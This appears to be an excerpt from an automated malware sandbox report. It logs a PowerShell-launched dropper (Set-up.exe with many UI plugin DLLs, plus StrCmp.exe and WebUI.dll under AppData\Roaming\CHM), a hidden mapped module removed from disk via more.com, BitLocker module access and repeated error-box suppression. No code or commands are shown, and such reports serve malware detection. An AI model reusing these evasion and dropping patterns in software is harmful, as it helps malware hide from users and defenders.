Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\Set-up.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.RemixIcon.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Codicons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\Xceed.Wpf.AvalonDock.Themes.VS2010.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\file\Set-up.exe	File created: C:\Users\user\AppData\Roaming\CHM\QEYDQTRXQS\StrCmp.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Typicons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.JamIcons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\Microsoft.WindowsAPICodePack.ShellExtensions.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.PicolIcons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Ionicons.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\more.com	File created: C:\Users\user\AppData\Local\Temp\ucqqdtssbrva	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MaterialDesignThemes.Wpf.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\Microsoft.WindowsAPICodePack.ExtendedLinguisticServices.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\WebUI.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.FeatherIcons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.BoxIcons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.MaterialLight.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\Xceed.Wpf.AvalonDock.Themes.Metro.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\file\Set-up.exe	File created: C:\Users\user\AppData\Roaming\CHM\WebUI.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.WeatherIcons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\Xceed.Wpf.AvalonDock.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Core.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.MaterialDesign.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Modern.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.PixelartIcons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.FileIcons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\Microsoft.WindowsAPICodePack.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Microns.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.VaadinIcons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.SimpleIcons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Material.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\starksoft.aspen.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.EvaIcons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Octicons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MaterialDesignColors.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.BootstrapIcons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.FontAwesome.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Entypo.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Unicons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\Xceed.Wpf.AvalonDock.Themes.Aero.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Coolicons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\Microsoft.WindowsAPICodePack.Sensors.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Fontisto.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\System.CodeDom.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Fontaudio.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Zondicons.dll	Jump to dropped file

Source: C:\Windows\SysWOW64\more.com

File created: C:\Users\user\AppData\Local\Temp\ucqqdtssbrva

Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Found hidden mapped module (file has been removed from disk)

Source: C:\Windows\SysWOW64\more.com

Module Loaded: C:\USERS\user\APPDATA\LOCAL\TEMP\UCQQDTSSBRVA

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
